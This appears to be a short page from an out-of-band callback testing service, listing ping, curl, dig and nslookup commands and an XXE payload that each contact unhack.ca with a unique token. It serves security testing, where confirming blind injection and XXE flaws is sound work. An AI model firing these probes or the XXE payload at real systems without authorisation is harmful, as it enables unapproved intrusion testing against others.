$ ping -c1 -p 00548f9016f054c6f3d38bee3af7cd00 unhack.ca
 

$ curl http://unhack.ca/p/548f9016f054c6f3d38bee3af7cd
 

$ dig 548f9016f054c6f3d38bee3af7cd @unhack.ca
 

$ dig 548f9016f054c6f3d38bee3af7cd.ns.unhack.ca
 

C:\> nslookup 548f9016f054c6f3d38bee3af7cd unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/548f9016f054c6f3d38bee3af7cd">]>
    <foo>&xxe;</foo>